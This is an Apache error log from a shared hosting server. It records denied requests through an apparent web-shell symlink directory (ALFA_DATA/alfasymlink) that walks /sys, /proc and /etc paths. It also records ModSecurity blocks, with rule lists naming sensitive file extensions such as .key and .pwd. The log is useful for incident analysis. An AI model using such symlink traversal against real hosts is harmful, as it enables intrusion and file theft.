[Tue Oct 27 02:17:24.894029 2026] [core:crit] [pid 3167556:tid 3167556] (13)Permission denied: [client 43.154.250.181:43918] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Tue Oct 27 02:17:31.069785 2026] [core:error] [pid 3175284:tid 3175284] (13)Permission denied: [client 23.21.175.228:33424] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:01/PNP0501:01/subsystem/uevent
[Tue Oct 27 02:17:36.849745 2026] [ssl:error] [pid 3168752:tid 3168752] (70014)End of file found: [client 52.2.83.227:24128] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:17:38.921297 2026] [ssl:error] [pid 3169915:tid 3169915] (70014)End of file found: [client 52.71.203.206:27578] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:17:40.774177 2026] [core:error] [pid 3175289:tid 3175289] (13)Permission denied: [client 185.191.171.13:42118] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kvm_mmu_page_header/store_user
[Tue Oct 27 02:17:43.378583 2026] [core:error] [pid 3174428:tid 3174428] (13)Permission denied: [client 184.73.195.18:28775] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory12/node0/cpu1/node0/cpu0/driver/bind
[Tue Oct 27 02:17:46.869243 2026] [ssl:error] [pid 3165579:tid 3165579] (70014)End of file found: [client 54.235.125.129:34655] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:17:54.970199 2026] [ssl:error] [pid 3168752:tid 3168752] (70014)End of file found: [client 18.213.102.186:10418] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:18:03.014191 2026] [ssl:error] [pid 3175289:tid 3175289] (70014)End of file found: [client 52.73.142.41:52012] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:18:06.971823 2026] [ssl:error] [pid 3174286:tid 3174286] (70014)End of file found: [client 23.23.103.31:2445] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:18:10.743786 2026] [ssl:error] [pid 3174428:tid 3174428] (70014)End of file found: [client 3.226.34.98:40135] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:18:27.802683 2026] [ssl:error] [pid 3175289:tid 3175289] (70014)End of file found: [client 18.214.124.6:7115] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:18:38.840942 2026] [ssl:error] [pid 3168752:tid 3168752] (70014)End of file found: [client 23.22.59.87:6832] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:18:42.470912 2026] [ssl:error] [pid 3175289:tid 3175289] (70014)End of file found: [client 50.16.248.61:47432] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:18:46.447164 2026] [ssl:error] [pid 3174286:tid 3174286] (70014)End of file found: [client 100.28.118.16:16915] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:18:54.535989 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 44.205.74.196:36771] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:18:56.843742 2026] [ssl:error] [pid 3157820:tid 3157820] (70014)End of file found: [client 185.191.171.7:46870] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:19:14.234748 2026] [ssl:error] [pid 3168752:tid 3168752] (70014)End of file found: [client 52.6.5.24:10703] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:19:18.287042 2026] [ssl:error] [pid 3157820:tid 3157820] (70014)End of file found: [client 184.73.195.18:42252] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:19:22.490361 2026] [ssl:error] [pid 3169915:tid 3169915] (70014)End of file found: [client 98.84.70.201:26855] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:19:26.380150 2026] [ssl:error] [pid 3165579:tid 3165579] (70014)End of file found: [client 34.205.170.13:5343] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:19:34.352074 2026] [ssl:error] [pid 3174428:tid 3174428] (70014)End of file found: [client 98.82.40.168:49084] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:19:38.203389 2026] [ssl:error] [pid 3157820:tid 3157820] (70014)End of file found: [client 35.174.141.243:65421] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:19:50.185041 2026] [core:error] [pid 3165579:tid 3165579] (13)Permission denied: [client 23.21.228.180:49171] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/system/memory/memory11/node0/cpu1/crash_notes_size
[Tue Oct 27 02:19:51.379097 2026] [core:crit] [pid 3175284:tid 3175284] (13)Permission denied: [client 185.191.171.5:63882] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/run/systemd/ask-password-block/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/run/systemd/ask-password-block/' is executable
[Tue Oct 27 02:19:51.379409 2026] [core:crit] [pid 3175284:tid 3175284] (13)Permission denied: [client 185.191.171.5:63882] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/run/systemd/unit-root/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/run/systemd/unit-root/' is executable
[Tue Oct 27 02:19:51.380052 2026] [core:crit] [pid 3175284:tid 3175284] (13)Permission denied: [client 185.191.171.5:63882] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/run/systemd/inaccessible/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/run/systemd/inaccessible/' is executable
[Tue Oct 27 02:19:54.352912 2026] [ssl:error] [pid 3174428:tid 3174428] (70014)End of file found: [client 52.4.229.9:50834] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:19:58.201076 2026] [ssl:error] [pid 3157820:tid 3157820] (70014)End of file found: [client 3.208.146.193:44788] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:20:06.194830 2026] [ssl:error] [pid 3167556:tid 3167556] (70014)End of file found: [client 98.80.130.239:20459] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:20:10.332154 2026] [core:error] [pid 3174428:tid 3174428] (13)Permission denied: [client 3.221.156.96:13601] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory6/node0/cpu1/subsystem/drivers_probe
[Tue Oct 27 02:20:14.200319 2026] [ssl:error] [pid 3175289:tid 3175289] (5)Input/output error: [client 54.167.32.123:56359] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:20:18.385822 2026] [ssl:error] [pid 3174426:tid 3174426] (70014)End of file found: [client 3.225.9.97:65007] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:20:38.439004 2026] [ssl:error] [pid 3174428:tid 3174428] (70014)End of file found: [client 44.214.19.8:44591] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:20:46.178341 2026] [ssl:error] [pid 3169915:tid 3169915] (70014)End of file found: [client 3.232.82.72:2357] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:20:50.239755 2026] [ssl:error] [pid 3165579:tid 3165579] (70014)End of file found: [client 34.195.248.30:23567] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:20:54.350573 2026] [security2:error] [pid 3175284:tid 3175284] [client 203.76.221.30:56422] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "close, keep-alive"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "auBCxkQFomyjz0g-y4eMowAAAAo"], referer: https://each.co.in/redirect.php?ref_host=bestbuysucks.net
[Tue Oct 27 02:20:54.944901 2026] [authz_core:error] [pid 3175284:tid 3175284] [client 203.76.221.30:56422] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log, referer: https://each.co.in/redirect.php?ref_host=bestbuysucks.net
[Tue Oct 27 02:21:10.292490 2026] [ssl:error] [pid 3168752:tid 3168752] (70014)End of file found: [client 44.215.231.15:55696] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:21:14.172579 2026] [ssl:error] [pid 3175289:tid 3175289] (70014)End of file found: [client 35.173.18.61:20917] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:21:18.205700 2026] [ssl:error] [pid 3169915:tid 3169915] (70014)End of file found: [client 52.44.148.203:23845] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:21:22.900909 2026] [security2:error] [pid 3174426:tid 3174426] [client 170.81.149.165:53483] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/public_html/recursos2/class.phpmailer.php"] [unique_id "auBC4vBpQA4DT21g-rgR2QAAAAY"]
[Tue Oct 27 02:21:22.900945 2026] [security2:error] [pid 3174426:tid 3174426] [client 170.81.149.165:53483] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/public_html/recursos2/class.phpmailer.php"] [unique_id "auBC4vBpQA4DT21g-rgR2QAAAAY"]
[Tue Oct 27 02:21:34.296724 2026] [ssl:error] [pid 3168752:tid 3168752] (70014)End of file found: [client 52.71.46.142:34312] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:21:38.320369 2026] [ssl:error] [pid 3174286:tid 3174286] (70014)End of file found: [client 3.94.156.104:58354] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:21:46.454759 2026] [core:error] [pid 3167556:tid 3167556] (13)Permission denied: [client 50.17.193.48:6375] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty32/subsystem/ttyS0/device/subsystem/drivers/intel_rapl_msr/uevent
[Tue Oct 27 02:21:54.233477 2026] [ssl:error] [pid 3174286:tid 3174286] (70014)End of file found: [client 44.221.105.234:1669] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:22:14.431621 2026] [ssl:error] [pid 3175289:tid 3175289] (70014)End of file found: [client 98.82.59.253:18757] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:22:22.266198 2026] [ssl:error] [pid 3174426:tid 3174426] (70014)End of file found: [client 52.1.157.90:2775] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:22:24.160950 2026] [security2:error] [pid 3168752:tid 3168752] [client 85.208.96.198:48874] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "parkeranders.com"] [uri "/wapisimox1.log"] [unique_id "auBDINu7k0W31xV3RUINCQAAAAw"]
[Tue Oct 27 02:22:24.161454 2026] [security2:error] [pid 3168752:tid 3168752] [client 85.208.96.198:48874] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/wapisimox1.log"] [unique_id "auBDINu7k0W31xV3RUINCQAAAAw"]
[Tue Oct 27 02:22:24.182668 2026] [security2:error] [pid 3168752:tid 3168752] [client 85.208.96.198:48874] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "auBDINu7k0W31xV3RUINCQAAAAw"]
[Tue Oct 27 02:22:30.198829 2026] [ssl:error] [pid 3157820:tid 3157820] (70014)End of file found: [client 3.221.50.71:44822] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:22:38.198993 2026] [ssl:error] [pid 3174286:tid 3174286] (70014)End of file found: [client 44.221.180.179:12050] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:23:02.378963 2026] [ssl:error] [pid 3157820:tid 3157820] (70014)End of file found: [client 34.231.118.144:63344] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:23:06.287477 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 54.225.199.17:19512] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:23:10.228761 2026] [ssl:error] [pid 3157820:tid 3157820] (70014)End of file found: [client 3.94.156.104:44214] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:23:26.183842 2026] [ssl:error] [pid 3169915:tid 3169915] (70014)End of file found: [client 52.4.76.156:54976] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:23:28.096882 2026] [security2:error] [pid 3174426:tid 3174426] [client 16.216.88.20:24576] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dbus-1/system.conf"] [unique_id "auBDYPBpQA4DT21g-rgR3gAAAAY"]
[Tue Oct 27 02:23:28.097383 2026] [security2:error] [pid 3174426:tid 3174426] [client 16.216.88.20:24576] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dbus-1/system.conf"] [unique_id "auBDYPBpQA4DT21g-rgR3gAAAAY"]
[Tue Oct 27 02:23:28.097801 2026] [security2:error] [pid 3174426:tid 3174426] [client 16.216.88.20:24576] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dbus-1/system.conf"] [unique_id "auBDYPBpQA4DT21g-rgR3gAAAAY"]
[Tue Oct 27 02:23:37.774500 2026] [security2:error] [pid 3157820:tid 3157820] [client 105.69.138.39:37025] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "close, keep-alive"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "curso-de-ventas.com"] [uri "/"] [unique_id "auBDaXEUzec1h8JdAIG6_wAAAA4"], referer: https://addurl.in/redirect.php?ref_host=elenachernyh.com
[Tue Oct 27 02:23:37.787983 2026] [authz_core:error] [pid 3157820:tid 3157820] [client 105.69.138.39:37025] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini, referer: https://addurl.in/redirect.php?ref_host=elenachernyh.com
[Tue Oct 27 02:23:38.474163 2026] [core:error] [pid 3184470:tid 3184470] (13)Permission denied: [client 23.23.214.190:4716] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/tty/tty21/subsystem/tty0/subsystem/ttyS3/close_delay
[Tue Oct 27 02:23:42.148444 2026] [ssl:error] [pid 3174286:tid 3174286] (70014)End of file found: [client 44.214.19.8:2612] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:23:46.474671 2026] [ssl:error] [pid 3174426:tid 3174426] (70014)End of file found: [client 52.45.77.169:41568] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:23:50.150948 2026] [ssl:error] [pid 3168752:tid 3168752] (70014)End of file found: [client 98.84.184.80:6092] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:23:52.544238 2026] [core:error] [pid 3184472:tid 3184472] (13)Permission denied: [client 185.191.171.17:32140] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/iommu_iova/cpu_slabs
[Tue Oct 27 02:23:58.162498 2026] [ssl:error] [pid 3184470:tid 3184470] (70014)End of file found: [client 18.204.89.56:39148] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:24:02.223550 2026] [core:error] [pid 3174286:tid 3174286] (13)Permission denied: [client 3.220.148.166:28503] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/input/input0/subsystem/input3/event3/device/subsystem/input1/device/driver/unbind
[Tue Oct 27 02:24:06.245078 2026] [ssl:error] [pid 3168752:tid 3168752] (70014)End of file found: [client 3.229.95.193:24850] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:24:12.090083 2026] [core:error] [pid 3157820:tid 3157820] (13)Permission denied: [client 185.191.171.13:34886] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-2k/cpu_slabs
[Tue Oct 27 02:24:23.094842 2026] [ssl:error] [pid 3184471:tid 3184471] (70014)End of file found: [client 85.208.96.211:64748] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:24:26.147125 2026] [ssl:error] [pid 3174286:tid 3174286] (70014)End of file found: [client 107.20.255.194:40026] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:24:30.226793 2026] [ssl:error] [pid 3174426:tid 3174426] (70014)End of file found: [client 54.157.84.74:54468] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:24:35.373815 2026] [core:error] [pid 3175284:tid 3175284] (13)Permission denied: [client 44.218.170.184:33303] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty32/subsystem/ttyS0/device/subsystem/drivers/amd_gpio/bind
[Tue Oct 27 02:25:18.263079 2026] [security2:error] [pid 3184472:tid 3184472] [client 52.205.222.214:15529] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/system/memory/memory11/node0/cpu1/power/"] [unique_id "auBDzioaxgN9H0AE4f1tvgAAAAM"]
[Tue Oct 27 02:25:18.263146 2026] [security2:error] [pid 3184472:tid 3184472] [client 52.205.222.214:15529] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/system/memory/memory11/node0/cpu1/power/"] [unique_id "auBDzioaxgN9H0AE4f1tvgAAAAM"]
[Tue Oct 27 02:25:34.401740 2026] [ssl:error] [pid 3174286:tid 3174286] (70014)End of file found: [client 3.209.174.110:19440] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:25:38.173690 2026] [ssl:error] [pid 3184470:tid 3184470] (5)Input/output error: [client 52.200.58.199:9876] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:25:47.048109 2026] [security2:error] [pid 3169915:tid 3169915] [client 189.123.96.201:5955] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/attendize/php82/extend.php"] [unique_id "auBD6mMfptYfS3IdlHNXDgAAAAc"]
[Tue Oct 27 02:25:47.048206 2026] [security2:error] [pid 3169915:tid 3169915] [client 189.123.96.201:5955] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/attendize/php82/extend.php"] [unique_id "auBD6mMfptYfS3IdlHNXDgAAAAc"]
[Tue Oct 27 02:25:50.322246 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 23.21.250.48:40231] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:25:54.313421 2026] [ssl:error] [pid 3184575:tid 3184575] (70014)End of file found: [client 34.196.237.236:16233] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:26:06.220388 2026] [ssl:error] [pid 3184472:tid 3184472] (70014)End of file found: [client 3.219.81.66:4724] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:26:14.148413 2026] [ssl:error] [pid 3169915:tid 3169915] (70014)End of file found: [client 52.2.4.213:41459] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:26:30.123072 2026] [core:error] [pid 3174426:tid 3174426] (13)Permission denied: [client 44.223.116.180:7634] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/device:01/subsystem/drivers/thermal/uevent
[Tue Oct 27 02:26:42.205047 2026] [ssl:error] [pid 3184470:tid 3184470] (70014)End of file found: [client 52.201.155.215:25994] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:26:46.161600 2026] [ssl:error] [pid 3175289:tid 3175289] (70014)End of file found: [client 44.207.252.58:1553] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:26:50.280117 2026] [ssl:error] [pid 3169915:tid 3169915] (5)Input/output error: [client 18.210.58.238:24510] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:27:02.580536 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 34.227.234.246:12723] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:27:18.129404 2026] [ssl:error] [pid 3169915:tid 3169915] (70014)End of file found: [client 44.221.227.90:52627] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:27:34.118367 2026] [ssl:error] [pid 3174286:tid 3174286] (70014)End of file found: [client 34.231.118.144:49840] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:27:38.172752 2026] [ssl:error] [pid 3174426:tid 3174426] (70014)End of file found: [client 44.197.76.210:64374] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:28:02.143380 2026] [core:error] [pid 3184575:tid 3184575] (13)Permission denied: [client 34.234.197.175:8065] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/tty/tty21/subsystem/tty0/subsystem/ttyS3/custom_divisor
[Tue Oct 27 02:28:06.193552 2026] [ssl:error] [pid 3174286:tid 3174286] (70014)End of file found: [client 184.73.239.35:38400] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:28:10.590343 2026] [ssl:error] [pid 3174426:tid 3174426] (70014)End of file found: [client 100.28.133.214:4954] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:28:13.756970 2026] [core:error] [pid 3169915:tid 3169915] (13)Permission denied: [client 185.191.171.12:34396] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kvm_mmu_page_header/remote_node_defrag_ratio
[Tue Oct 27 02:28:26.123986 2026] [ssl:error] [pid 3157820:tid 3157820] (70014)End of file found: [client 34.205.163.103:48779] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:28:30.151152 2026] [ssl:error] [pid 3184472:tid 3184472] (70014)End of file found: [client 52.3.104.214:42006] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:28:34.133012 2026] [ssl:error] [pid 3174286:tid 3174286] (70014)End of file found: [client 50.16.248.61:48935] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:28:38.133097 2026] [ssl:error] [pid 3174426:tid 3174426] (5)Input/output error: [client 54.87.62.248:12200] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:28:42.167614 2026] [ssl:error] [pid 3175289:tid 3175289] (70014)End of file found: [client 50.19.79.213:24659] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:28:44.963803 2026] [core:error] [pid 3157820:tid 3157820] (13)Permission denied: [client 185.191.171.1:44754] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/TCP/total_objects
[Tue Oct 27 02:28:46.314674 2026] [ssl:error] [pid 3184472:tid 3184472] (70014)End of file found: [client 184.73.35.182:23096] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:29:10.323629 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 52.202.52.82:65021] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:29:18.162494 2026] [ssl:error] [pid 3174426:tid 3174426] (70014)End of file found: [client 100.29.164.178:5572] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:29:22.227283 2026] [ssl:error] [pid 3169915:tid 3169915] (70014)End of file found: [client 52.45.92.83:60908] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:29:28.803663 2026] [core:error] [pid 3157820:tid 3157820] (13)Permission denied: [client 85.208.96.205:17362] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-8k/poison
[Tue Oct 27 02:29:30.139551 2026] [ssl:error] [pid 3175284:tid 3175284] (5)Input/output error: [client 54.80.185.200:55676] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:29:34.245333 2026] [ssl:error] [pid 3174426:tid 3174426] (70014)End of file found: [client 23.23.212.212:46517] AH02013: coalesce failed to read from data bucket
